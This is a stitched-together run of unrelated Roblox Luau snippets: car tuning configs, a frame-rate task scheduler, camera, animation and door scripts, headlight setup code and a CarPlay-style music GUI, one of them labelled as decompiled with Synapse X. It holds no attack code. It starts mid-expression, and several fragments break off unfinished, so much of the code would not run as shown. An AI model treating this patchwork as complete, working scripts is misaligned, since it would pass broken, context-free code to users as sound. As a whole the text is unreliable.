alignmentGap/6--2 elseif direction == "left" then extendLeft = menuSizeXOffset + 4 extendRight += alignmentGap/3--4 additionalRight = menuSizeXOffset end end return extendLeft, extendRight, additionalRight end
-- Don't edit below unless you know what you're doing.
local O = true function onClicked() if O == true then O = false One() elseif O == false then O = true Two() end end script.Parent.MouseButton1Down:connect(onClicked)
--[=[ @interface Service .Name string .Client ServiceClient .KnitComm Comm .[any] any @within KnitServer ]=]
type Service = { Name: string, Client: ServiceClient, KnitComm: any, [any]: any, }
--// Dev Vars
CameraGo = true; -- No touchy FirstPersonOnly = false; -- SET THIS TO FALSE TO ENABLE THIRD PERSON, TRUE FOR FIRST PERSON ONLY TPSMouseIcon = 1415957732; -- Image used as the third person reticle
--RUNNING SCRIPT-- -------------------------------
local RunSpeed = 23 -- Change this to the speed you want the player to go local AfterSpeed = 16 -- Best if you leave this alone. This is the speed the player will be after pressing shift.
--[[ Returns true if a table/dictionary contains userdata (somewhat deep) Functions.HasUserdata( table, <-- |REQ| Table/dictionary ) --]]
return function(tbl) --- Variables local found = false --- Scan local function local function Scan(v) --- Already found userdata if found then return end --- Iterate for key, value in pairs(v) do --- Already found userdata if found then return end --- Main check if type(value) == "userdata" or type(key) == "userdata" then --- Userdata located found = true return elseif type(value) == "table" then --- Re-iterate Scan(value) end end end --- Scan Scan(tbl) -- return found end
-- Libraries
local Support = require(Libraries:WaitForChild 'SupportLibrary')
--//Handling//--
SteeringAngle = 40 --{Steering angle in degrees} SteerSpeed = 0.05 --{.01 being slow, 1 being almost instantly} TiresFront = 2 --{1 = eco, 2 = road, 3 = sport} TiresRear = 2 --{1 = eco, 2 = road, 3 = sport} DownforceF = 0 --{[0-5] Provides downforce to the front at the cost of drag} DownforceR = 0 --{[0-5] Provides downforce to the rear at the cost of drag} BrakeBias = 72 --{100 = all on front || 0 = all on rear} BrakePower = 80 --{100 = strong brakes 0 = close to no brakes} TC = false ABS = true
--[[ param targetFps Task scheduler won't run a task if it'd make the FPS drop below this amount (WARNING) this only holds true if it is used properly. If you try to complete 10 union operations at once in a single task then of course your FPS is going to drop -- queue the union operations up one at a time so the task scheduler can do its job. returns scheduler method Pause Pauses the scheduler so it won't run tasks. Tasks may still be added while the scheduler is paused. They just won't be touched until it's resumed. Performance efficient -- disables renderstepped loop entirely until scheduler is resumed. method Resume Resumes the paused scheduler. method Destroy Destroys the scheduler so it can't be used anymore. method QueueTask Queues a task for automatic execution. param callback function (task) to be run. Example usage: local scheduler = TaskScheduler:CreateScheduler(60) local totalOperations = 0 local paused for i=1,100 do scheduler:QueueTask(function() local partA = Instance.new("Part", workspace) local partB = Instance.new("Part", workspace) plugin:Union({partA, partB}):Destroy() totalOperations = totalOperations + 1 print("Times unioned:", totalOperations) if totalOperations == 50 then scheduler:Pause() paused = true end end) end repeat wait() until paused wait(2) scheduler:Resume() --]]
function TaskScheduler:CreateScheduler(targetFps) local scheduler = {} local queue = {} local sleeping = true local event,paused local start local frameUpdateTable = {} local sleep--get syntax highlighter to shut up on line 68 local function onEvent() local iterationStart = tick() local targetFrameUpdates = (iterationStart-start) < 1 and math.floor(targetFps * (iterationStart-start)) or targetFps for i=#frameUpdateTable,1,-1 do frameUpdateTable[i+1] = (frameUpdateTable[i] >= iterationStart-1) and frameUpdateTable[i] or nil end frameUpdateTable[1] = iterationStart if #frameUpdateTable >= targetFrameUpdates then if #queue > 0 then queue[1]() table.remove(queue, 1) else sleep() end end end --used for automatically turning off renderstepped loop when there's nothing in the queue sleep = function() sleeping = true if event then event:disconnect() event = nil end end --turns renderstepped loop back on when something is added to the queue and scheduler isn't paused local function wake() if sleeping and not event then sleeping = false if not paused then start = tick() event = game:GetService("RunService").RenderStepped:connect(onEvent) end end end function scheduler:Pause() paused = true if event then event:disconnect() event = nil end end function scheduler:Resume() if paused and not event then paused = false sleeping = false start = tick() event = game:GetService("RunService").RenderStepped:connect(onEvent) end end function scheduler:Destroy() scheduler:Pause() for i in next,scheduler do scheduler[i] = nil end setmetatable(scheduler, { __index = function() error("Attempt to use destroyed scheduler") end; __newindex = function() error("Attempt to use destroyed scheduler") end; }) end function scheduler:QueueTask(callback) queue[#queue+1] = callback if sleeping then wake() end end start = tick() event = game:GetService("RunService").RenderStepped:connect(onEvent) return scheduler end return TaskScheduler
-- Position the frames and sizes for the Backpack GUI elements
UpdateBackpackLayout()
-- Setup animation objects
for name, fileList in pairs(animNames) do animTable[name] = {} animTable[name].count = 0 animTable[name].totalWeight = 0 -- check for config values local config = script:FindFirstChild(name) if (config ~= nil) then
--[[Brakes]]
-- Tune.FBrakeForce = 300 -- Front brake force Tune.RBrakeForce = 250 -- Rear brake force Tune.PBrakeForce = 500 -- Parking brake force Tune.LinkedBrakes = true -- Links brakes up, uses both brakes while braking Tune.BrakesRatio = 60 -- The ratio of the brakes (0 = rear brake; 100 = front brake)
-----------------------
Queue._gameMode = Conf.default_game_mode Queue._destinationId = Conf.modes[Queue._gameMode].gameplay_place Queue._timeoutEnabled = true
--[[START]]
_BuildVersion = require(script.Parent.README)
--// Extras
WalkAnimEnabled = true; -- Set to false to disable walking animation, true to enable SwayEnabled = true; -- Set to false to disable sway, true to enable TacticalModeEnabled = false; -- SET THIS TO TRUE TO TURN ON TACTICAL MODEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
-- Decompiled with the Synapse X Luau decompiler.
local u1 = nil; coroutine.wrap(function() u1 = require(game.ReplicatedStorage:WaitForChild("Resources")); end)(); local v1 = { New = function(p1, p2, p3, p4) p2 = p2 or Color3.new(0.2, 0.2, 0.2); p3 = p3 or Enum.Font.FredokaOne; p4 = p4 or Enum.FontSize.Size18; u1.StarterGui:SetCore("ChatMakeSystemMessage", { Text = p1, Color = p2, Font = p3, FontSize = p4 }); end }; u1.Network.Fired("Chat Msg"):Connect(function(...) v1.New(...); end); return v1;
-- Compiled with roblox-ts v1.3.3
local function fields(defaults) if defaults == nil then defaults = {} end return function(input) local _object = {} for _k, _v in pairs(defaults) do _object[_k] = _v end if type(input) == "table" then for _k, _v in pairs(input) do _object[_k] = _v end end return _object end end return { fields = fields, }
--[[Weight Scaling]]
--[Cubic stud : pounds ratio] --[STANDARDIZED: Don't touch unless needed] Tune.WeightScaling = 1/50 --Default = 1/50 (1 cubic stud = 50 lbs) Tune.LegacyScaling = 1/10 --Default = 1/10 (1 cubic stud = 10 lbs) [PGS OFF] return Tune
--Variables--
local set = script.Settings local sp = set.Speed local enabled = set.Enabled local loop = set.Loop local debug_ = set.Debug local hum = script.Parent:WaitForChild("Humanoid") if debug_.Value == true then if hum then print("Success") else print("No Humanoid") end end local humanim = hum:LoadAnimation(script:FindFirstChildOfClass("Animation"))
--Tuck in
R6TorsoTuckIn = .5 R6RightArmTuckIn = .2 R6LeftArmTuckIn = .2
-- ==================== -- CHARGED SHOT -- Make a gun charging before firing. Useful for a gun like "Railgun" or "Laser Cannon" -- ====================
ChargedShotEnabled = false; ChargingTime = 1;
--This module is for any client FX related to the DoubleDoor
local DoorFX = {} local tweenService = game:GetService("TweenService") local tweenInfo = TweenInfo.new(2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut) function DoorFX.OPEN(door) if not door then return end for i = 1, 2 do tweenService:Create(door["Door" .. i].PrimaryPart, tweenInfo, {CFrame = door["Door"..i.."Goal"].CFrame}):Play() door["Door" .. i].PrimaryPart.DoorOpenFADEOUT:Play() end end function DoorFX.CLOSE(door) if not door then return end for i = 1, 2 do door["Door" .. i].PrimaryPart.CFrame = door["Door"..i.."Start"].CFrame end end return DoorFX
--[=[ Initializes the service bag and ensures recursive initialization can occur ]=]
function ServiceBag:Init() assert(not self._initializing, "Already initializing") assert(self._serviceTypesToInitializeSet, "Already initialized") self._initializing = true while next(self._serviceTypesToInitializeSet) do local serviceType = next(self._serviceTypesToInitializeSet) self._serviceTypesToInitializeSet[serviceType] = nil self:_ensureInitialization(serviceType) end self._serviceTypesToInitializeSet = nil self._initializing = false end
--[[Transmission]]
Tune.TransModes = {"Auto", "Semi", "Manual"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 4.5 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 3.70 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 3.53 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 2.04 , --[[ 3 ]] 1.38 , --[[ 4 ]] 1.03 , --[[ 5 ]] 0.81 , --[[ 6 ]] 0.64 , } Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
--[[Weight and CG]]
Tune.Weight = 3000 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 6 , --[[Height]] 3.5 , --[[Length]] 14 } Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight) Tune.AxleDensity = .1 -- Density of structural members
-- server side setup
local Pcolors = {{255, 255, 255}, {255, 180, 161}, {226, 231, 255}} local Lcolors = {{255, 255, 255}, {255, 237, 199}, {205, 227, 255}} local INDcolor = {255, 130, 80} local plactive = false local prevChild F.Setup = function(light_type, popups, tb, fog_color) event.IndicatorsAfterLeave.Disabled = true for idx, child in pairs(lights.Brake:GetChildren()) do if child.Name == "L" and #child:GetChildren() < 1 then local spot = Instance.new("SpotLight", child) spot.Name = "L" spot.Brightness = 0 spot.Range = 0 spot.Face = Enum.NormalId.Back spot.Color = Color3.fromRGB(255, 0, 0) spot.Shadows = true elseif child.Name == "LN" then if child:IsA("MeshPart") then child.TextureID = "" end child.Material = Enum.Material.Neon child.Color = Color3.fromRGB(255, 96, 96) child.Transparency = 1 end end for idx, child in pairs(lights.Rear:GetChildren()) do if child.Name == "L" and #child:GetChildren() < 1 then local spot = Instance.new("SpotLight", child) spot.Name = "L" spot.Brightness = 0 spot.Range = 0 spot.Face = Enum.NormalId.Back spot.Color = Color3.fromRGB(255, 0, 0) spot.Shadows = true elseif child.Name == "LN" then if child:IsA("MeshPart") then child.TextureID = "" end child.Material = Enum.Material.Neon child.Color = Color3.fromRGB(255, 96, 96) child.Transparency = 1 end end for idx, child in pairs(lights.Reverse:GetChildren()) do if child.Name == "L" and #child:GetChildren() < 1 then local spot = Instance.new("SpotLight", child) spot.Name = "L" spot.Brightness = 0 spot.Range = 0 spot.Face = Enum.NormalId.Back spot.Color = Color3.fromRGB(255, 255, 255) spot.Shadows = true elseif child.Name == "LN" then if child:IsA("MeshPart") then child.TextureID = "" end child.Material = Enum.Material.Neon child.Color = Color3.fromRGB(255, 255, 255) child.Transparency = 1 end end for idx, child in pairs(lights.LeftInd:GetDescendants()) do if child.Name == "L" and child.Parent.Name == "Front" and #child:GetChildren() < 1 then local spot = Instance.new("SpotLight", child) spot.Name = "L" spot.Brightness = 0 spot.Range = 0 spot.Face = Enum.NormalId.Front spot.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3]) spot.Shadows = true elseif child.Name == "L" and child.Parent.Name == "Rear" and #child:GetChildren() < 1 then local spot = Instance.new("SpotLight", child) spot.Name = "L" spot.Brightness = 0 spot.Range = 0 spot.Face = Enum.NormalId.Back spot.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3]) spot.Shadows = true elseif child.Name == "L" and child.Parent.Name == "Side" and #child:GetChildren() < 1 then local spot = Instance.new("SpotLight", child) spot.Name = "L" spot.Brightness = 0 spot.Range = 0 spot.Face = Enum.NormalId.Left spot.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3]) spot.Shadows = true elseif child.Name == "LN" then if child:IsA("MeshPart") then child.TextureID = "" end child.Material = Enum.Material.Neon child.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3]) child.Transparency = 1 elseif string.sub(child.Name, 1, 2) == "SI" then if child:IsA("MeshPart") then child.TextureID = "" end child.Material = Enum.Material.Neon child.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3]) child.Transparency = 1 end end for idx, child in pairs(lights.RightInd:GetDescendants()) do if child.Name == "L" and child.Parent.Name == "Front" and #child:GetChildren() < 1 then local spot = Instance.new("SpotLight", child) spot.Name = "L" spot.Brightness = 0 spot.Range = 0 spot.Face = Enum.NormalId.Front spot.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3]) spot.Shadows = true elseif child.Name == "L" and child.Parent.Name == "Rear" and #child:GetChildren() < 1 then local spot = Instance.new("SpotLight", child) spot.Name = "L" spot.Brightness = 0 spot.Range = 0 spot.Face = Enum.NormalId.Back spot.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3]) spot.Shadows = true elseif child.Name == "L" and child.Parent.Name == "Side" and #child:GetChildren() < 1 then local spot = Instance.new("SpotLight", child) spot.Name = "L" spot.Brightness = 0 spot.Range = 0 spot.Face = Enum.NormalId.Right spot.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3]) spot.Shadows = true elseif child.Name == "LN" then if child:IsA("MeshPart") then child.TextureID = "" end child.Material = Enum.Material.Neon child.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3]) child.Transparency = 1 elseif string.sub(child.Name, 1, 2) == "SI" then if child:IsA("MeshPart") then child.TextureID = "" end child.Material = Enum.Material.Neon child.Color = Color3.fromRGB(INDcolor[1], INDcolor[2], INDcolor[3]) child.Transparency = 1 end end for idx, child in pairs(tb) do child.ImageTransparency = 1 end if not popups then if light_type == "Pure White" then for idx, child in pairs(lights.Headlights:GetDescendants()) do if child.Name == "L" and #child:GetChildren() < 1 then local spot = Instance.new("SpotLight", child) spot.Name = "L" spot.Brightness = 0 spot.Range = 0 spot.Face = Enum.NormalId.Front spot.Color = Color3.fromRGB(Lcolors[1][1], Lcolors[1][2], Lcolors[1][3]) spot.Shadows = true elseif child.Name == "LN" then if child:IsA("MeshPart") then child.TextureID = "" end child.Material = Enum.Material.Neon child.Color = Color3.fromRGB(Pcolors[1][1], Pcolors[1][2], Pcolors[1][3]) child.Transparency = 1 end end elseif light_type == "OEM White" then for idx, child in pairs(lights.Headlights:GetDescendants()) do if child.Name == "L" and #child:GetChildren() < 1 then local spot = Instance.new("SpotLight", child) spot.Name = "L" spot.Brightness = 0 spot.Range = 0 spot.Face = Enum.NormalId.Front spot.Color = Color3.fromRGB(Lcolors[2][1], Lcolors[2][2], Lcolors[2][3]) spot.Shadows = true elseif child.Name == "LN" then if child:IsA("MeshPart") then child.TextureID = "" end child.Material = Enum.Material.Neon child.Color = Color3.fromRGB(Pcolors[2][1], Pcolors[2][2], Pcolors[2][3]) child.Transparency = 1 end end elseif light_type == "Xenon" then for idx, child in pairs(lights.Headlights:GetDescendants()) do if child.Name == "L" and #child:GetChildren() < 1 then local spot = Instance.new("SpotLight", child) spot.Name = "L" spot.Brightness = 0 spot.Range = 0 spot.Face = Enum.NormalId.Front spot.Color = Color3.fromRGB(Lcolors[3][1], Lcolors[3][2], Lcolors[3][3]) spot.Shadows = true elseif child.Name == "LN" then if child:IsA("MeshPart") then child.TextureID = "" end child.Material = Enum.Material.Neon child.Color = Color3.fromRGB(Pcolors[3][1], Pcolors[3][2], Pcolors[3][3]) child.Transparency = 1 end end end else if light_type == "Pure White" then for idx, child in pairs(PHeadlights.Parts.Headlights:GetChildren()) do if child.Name == "L" and #child:GetChildren() < 1 then local spot = Instance.new("SpotLight", child) spot.Name = "L" spot.Brightness = 0 spot.Range = 0 spot.Face = Enum.NormalId.Front spot.Color = Color3.fromRGB(Lcolors[1][1], Lcolors[1][2], Lcolors[1][3]) spot.Shadows = true elseif child.Name == "LN" then if child:IsA("MeshPart") then child.TextureID = "" end child.Material = Enum.Material.Neon child.Color = Color3.fromRGB(Pcolors[1][1], Pcolors[1][2], Pcolors[1][3]) child.Transparency = 1 end end elseif light_type == "OEM White" then for idx, child in pairs(PHeadlights.Parts.Headlights:GetChildren()) do if child.Name == "L" and #child:GetChildren() < 1 then local spot = Instance.new("SpotLight", child) spot.Name = "L" spot.Brightness = 0 spot.Range = 0 spot.Face = Enum.NormalId.Front spot.Color = Color3.fromRGB(Lcolors[2][1], Lcolors[2][2], Lcolors[2][3]) spot.Shadows = true elseif child.Name == "LN" then if child:IsA("MeshPart") then child.TextureID = "" end child.Material = Enum.Material.Neon child.Color = Color3.fromRGB(Pcolors[2][1], Pcolors[2][2], Pcolors[2][3]) child.Transparency = 1 end end elseif light_type == "Xenon" then for idx, child in pairs(PHeadlights.Parts.Headlights:GetChildren()) do if child.Name == "L" and #child:GetChildren() < 1 then local spot = Instance.new("SpotLight", child) spot.Name = "L" spot.Brightness = 0 spot.Range = 0 spot.Face = Enum.NormalId.Front spot.Color = Color3.fromRGB(Lcolors[3][1], Lcolors[3][2], Lcolors[3][3]) spot.Shadows = true elseif child.Name == "LN" then if child:IsA("MeshPart") then child.TextureID = "" end child.Material = Enum.Material.Neon child.Color = Color3.fromRGB(Pcolors[3][1], Pcolors[3][2], Pcolors[3][3]) child.Transparency = 1 end end end end for idx, child in pairs(lights.Fog:GetChildren()) do if child.Name == "L" then local spot = Instance.new("SpotLight", child) spot.Name = "L" spot.Brightness = 0 spot.Range = 0 spot.Face = Enum.NormalId.Front spot.Color = fog_color spot.Shadows = true elseif child.Name == "LN" then if child:IsA("MeshPart") then child.TextureID = "" end child.Material = Enum.Material.Neon child.Color = fog_color child.Transparency = 1 end end print("EpicLights Version 2 // Setup completed!") end
--[[Engine]]
--Torque Curve Tune.Horsepower = script.Tune_HorsePower.Value -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6000 -- Use sliders to manipulate values Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 4.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
-- you can mess with these settings
CanToggleMouse = {allowed = true; activationkey = Enum.KeyCode.F;} -- lets you move your mouse around in firstperson CanViewBody = true -- whether you see your body Sensitivity = 0.6 -- anything higher would make looking up and down harder; recommend anything between 0~1 Smoothness = 0.05 -- recommend anything between 0~1 FieldOfView = 80 -- fov HeadOffset = CFrame.new(0,0.7,0) -- how far your camera is from your head local cam = game.Workspace.CurrentCamera local player = players.LocalPlayer local m = player:GetMouse() m.Icon = "http://www.roblox.com/asset/?id=569021388" -- replaces mouse icon local character = player.Character or player.CharacterAdded:wait() local human = character.Humanoid local humanoidpart = character.HumanoidRootPart local head = character:WaitForChild("Head") local CamPos,TargetCamPos = cam.CoordinateFrame.p,cam.CoordinateFrame.p local AngleX,TargetAngleX = 0,0 local AngleY,TargetAngleY = 0,0 local running = true local freemouse = false local defFOV = FieldOfView local w, a, s, d, lshift = false, false, false, false, false
-- Module 3
function NpcModule.Walk(Npc, Pos, PathParams, Return) local Path = NpcModule.GetPath(Npc, Pos, PathParams) local Humanoid = Npc:FindFirstChild("Humanoid") if Path ~= false then if Humanoid then for I, Waypoint in pairs(Path:GetWaypoints()) do Humanoid:MoveTo(Waypoint.Position) Humanoid.MoveToFinished:Wait() end end end if Return ~= nil then return end end
--[[ Services ]]
-- local PlayersService = game:GetService('Players') local VRService = game:GetService("VRService") local CameraInput = require(script.Parent:WaitForChild("CameraInput")) local Util = require(script.Parent:WaitForChild("CameraUtils"))
-- Local player
local player = game.Players.LocalPlayer local character = player.Character or player.CharacterAdded:wait() local humanoid = character:WaitForChild("Humanoid") local PlayerGui = player:WaitForChild("PlayerGui")
-- functions
function onRunning(speed) if speed>0 then pose = "Running" else pose = "Standing" end end function onDied() pose = "Dead" end function onJumping() pose = "Jumping" end function onClimbing() pose = "Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() pose = "FreeFall" end function onFallingDown() pose = "FallingDown" end function onSeated() pose = "Seated" end function onPlatformStanding() pose = "PlatformStanding" end function onSwimming(speed) if speed>0 then pose = "Running" else pose = "Standing" end end function moveJump() RightShoulder.MaxVelocity = jumpMaxLimbVelocity LeftShoulder.MaxVelocity = jumpMaxLimbVelocity RightShoulder:SetDesiredAngle(3.14) LeftShoulder:SetDesiredAngle(-3.14) RightHip:SetDesiredAngle(0) LeftHip:SetDesiredAngle(0) end
--Functions (Needed to organize)
local function AddRecentApp(App) if RecentAppEnabled == true then local sameapp = false if home:FindFirstChild(App) then if side.RecentApps:FindFirstChild(App) then sameapp = true end side.Status:TweenPosition(UDim2.new(0.094,0,0.638,0), "InOut", "Quint", 0.5, true) side.B1:TweenPosition(UDim2.new(0.024,0,0.593,0), "InOut", "Quint", 0.5, true) for i, v in pairs(side.RecentApps:GetChildren()) do if v.Position == UDim2.new(0.016,0,0.345,0) then if sameapp and side.RecentApps:FindFirstChild(App) then if side.RecentApps[App].Position ~= UDim2.new(0.015,0,0.027,0) then v:TweenPosition(UDim2.new(0.032,0,0.668,0), "InOut", "Quint", 0.25, true) end else v:TweenPosition(UDim2.new(0.032,0,0.668,0), "InOut", "Quint", 0.25, true) end end if v.Position == UDim2.new(0.015,0,0.027,0) then v:TweenPosition(UDim2.new(0.016,0,0.345,0), "InOut", "Quint", 0.25, true) end if v.Name == App then --prevents any same apps to be duplicated ok v:TweenPosition(UDim2.new(0.015,0,0.027,0), "InOut", "Quint", 0.25, true) end if v.Position == UDim2.new(0.032,0,0.668,0) then if not sameapp then for i = 0, 1, 0.2 do wait() v.ImageTransparency = i end v:Destroy() end end end if not sameapp then local app = home:FindFirstChild(App):Clone() app.Parent = side.RecentApps app.IconName.Visible = false app.ZIndex = 102 app.Size = UDim2.new(0.968, 0, 0.358, 0) app.ImageTransparency = 1 app.Position = UDim2.new(0.015,0,0.027,0) for i = 1, 0, -0.2 do wait() app.ImageTransparency = i end end end end end local function PlayMusic(Title, ID, pitch) local musictitle = script.Parent.CarPlay.NowPlaying.MusicTitle local id = script.Parent.CarPlay.NowPlaying.MusicID musictitle.Text = Title id.Text = ID filter:FireServer("updateSong", ID, pitch) handler:FireServer("PlayMusic", Title, ID) nowplaying.Play.ImageRectOffset = Vector2.new(150, 0) end local function PlayMusicUsingSongValue(Val, Playlists, pitch) if script.Parent.CarPlay_Data.Playlists:FindFirstChild(Playlists) then local musictitle = script.Parent.CarPlay.NowPlaying.MusicTitle local id = script.Parent.CarPlay.NowPlaying.MusicID local playlists = script.Parent.CarPlay_Data.Playlists[Playlists]:GetChildren() musictitle.Text = playlists[Val].Name handler:FireServer("PlayMusic", playlists[Val].Name, playlists[Val].Value) id.Text = playlists[Val].Value filter:FireServer("updateSong", playlists[Val].Value, playlists[Val].Pitch.Value) end end local function LaunchApp(AppToLaunch) if home:FindFirstChild(AppToLaunch) then handler:FireServer("LaunchApp", AppToLaunch) for i, app in ipairs(home:GetChildren()) do app.AppEnabled.Value = false -- no jerks that can mess carplay end AddRecentApp(AppToLaunch) home[AppToLaunch].IconName.Visible = false home[AppToLaunch].ZIndex = 102 X = home[AppToLaunch].Position.X.Scale Y = home[AppToLaunch].Position.Y.Scale home[AppToLaunch]:TweenSizeAndPosition(UDim2.new(1.599, 0,2.591, 0), UDim2.new(-0.325, 0,-0.965, 0), "Out", "Quint", 1.2, true) home[AppToLaunch].Parent = script.Parent.CarPlay.Homescreen for i, app in ipairs(script.Parent.CarPlay:GetChildren()) do if app.Name == AppToLaunch then app.Visible = true end end home.Visible = false for i = 0, 1, 0.2 do wait() home.Parent[AppToLaunch].ImageTransparency = i end home.Parent.Visible = false end end local function LaunchHome() for i, v in pairs(home.Parent:GetChildren()) do if v.Name == "Music" or v.Name == "Maps" or v.Name == "Settings" or v.Name == "BMW" or v.Name == "NowPlaying" or v.Name == "Podcasts" or v.Name == "Phone" then handler:FireServer("LaunchHome") script.Parent.CarPlay.Music.Library.Visible = true script.Parent.CarPlay.Music.Playlists.Visible = false for i, app in pairs(script.Parent.CarPlay:GetChildren()) do if app:IsA("Frame") and app.Visible == true then app.Visible = false end end script.Parent.CarPlay:FindFirstChild(v.Name).Visible = false home.Parent.Visible = true v:TweenSizeAndPosition(UDim2.new(0.23,0,1,0), UDim2.new(X,0,Y,0), "Out", "Quint", 0.5, true) home.Visible = true v.ImageTransparency = 0 v.ZIndex = 2 v.IconName.Visible = true v.Parent = home wait(.4) for i, app in pairs(home:GetChildren()) do if app:FindFirstChild("AppEnabled") then app.AppEnabled.Value = true -- no jerks that can mess carplay end end end end end local function LoadPlaylist(PlaylistName) local Y = 0 local NextY = 0.039 music.Playlists.MusicPlaylist:ClearAllChildren() local Data = script.Parent.CarPlay_Data.Playlists[PlaylistName] music.Playlists.PlaylistName.Text = PlaylistName for i, musics in ipairs(Data:GetChildren()) do if musics:IsA("IntValue") then handler:FireServer("LoadPlaylist",PlaylistName, musics.Name, musics.Value, Y) local Template = music.Playlists.Template:Clone() Template.Name = musics.Value Template.MusicTitle.Text = musics.Name Template.MusicID.Text = musics.Value Template.Position = UDim2.new(0.037,0,Y,0) Template.Parent = music.Playlists.MusicPlaylist Template.Pitch.Value = musics.Pitch.Value Template.Visible = true Y = Y + NextY end end for i, playlists in ipairs(script.Parent.CarPlay.Music.Playlists.MusicPlaylist:GetChildren()) do if playlists:IsA("TextButton") then playlists.MouseButton1Down:connect(function() TransitionTo("Playlists", "NowPlaying") AddRecentApp("NowPlaying") script.Parent.CarPlay_Data.NowPlayingData.CurrentPlaylist.Value = PlaylistName script.Parent.CarPlay_Data.NowPlayingData.SongNumber.Value = i PlayMusic(playlists.MusicTitle.Text, playlists.MusicID.Text, playlists.Pitch.Value) end) end end end local function CreatePlaylists() local Y = 0.002 local NextY = 0.092 music.Library.LibraryButtons:ClearAllChildren() local Data = script.Parent.CarPlay_Data.Playlists for i, playlists in ipairs(Data:GetChildren()) do if playlists:IsA("Folder") then local Template = music.Library:WaitForChild('Template'):Clone() Template.Parent = music.Library.LibraryButtons Template.Name = playlists.Name Template.Visible = true handler:FireServer("CreatePlaylist", playlists.Name, Y) Template.PlaylistName.Text = playlists.Name Template.Position = UDim2.new(0.025, 0, Y, 0) Y = Y + NextY end end for i, playlists in ipairs(script.Parent.CarPlay.Music.Library.LibraryButtons:GetChildren()) do if playlists:IsA("TextButton") then playlists.MouseButton1Down:connect(function() TransitionTo("Library", "Playlists") LoadPlaylist(playlists.Name) end) end end end function TransitionTo(Prev, Next) if debounce == false then debounce = true for i, frame in ipairs(script.Parent.CarPlay:GetDescendants()) do if frame:IsA("Frame") and frame.Name == Prev then frame:TweenPosition(UDim2.new(-1,0,0,0), "Out", "Quint", 0.5, true) local framediss = coroutine.wrap(function() wait(.5) frame.Position = UDim2.new(0,0,0,0) frame.Visible = false end) framediss() end if frame:IsA("Frame") and frame.Name == Next then frame.Visible = true frame.Position = UDim2.new(1,0,0,0) frame:TweenPosition(UDim2.new(0,0,0,0), "Out", "Quint", 0.5, true) end handler:FireServer("Transition", Prev, Next) debounce = false end end end
-- << VARIABLES >>
local frame = main.gui.MainFrame.Pages.Settings local pages = { custom = frame.Custom; } local themeColors = main.settings.ThemeColors or { {"Red", Color3.fromRGB(150, 0, 0), }; {"Orange", Color3.fromRGB(150, 75, 0), }; {"Brown", Color3.fromRGB(120, 80, 30), }; {"Yellow", Color3.fromRGB(130, 120, 0), }; {"Green", Color3.fromRGB(0, 120, 0), }; {"Blue", Color3.fromRGB(0, 100, 150), }; {"Purple", Color3.fromRGB(100, 0, 150), }; {"Pink", Color3.fromRGB(150, 0, 100), }; {"Black", Color3.fromRGB(60, 60, 60), }; }
-- Make the ScrollingFrame, which holds the rest of the Slots (however many)
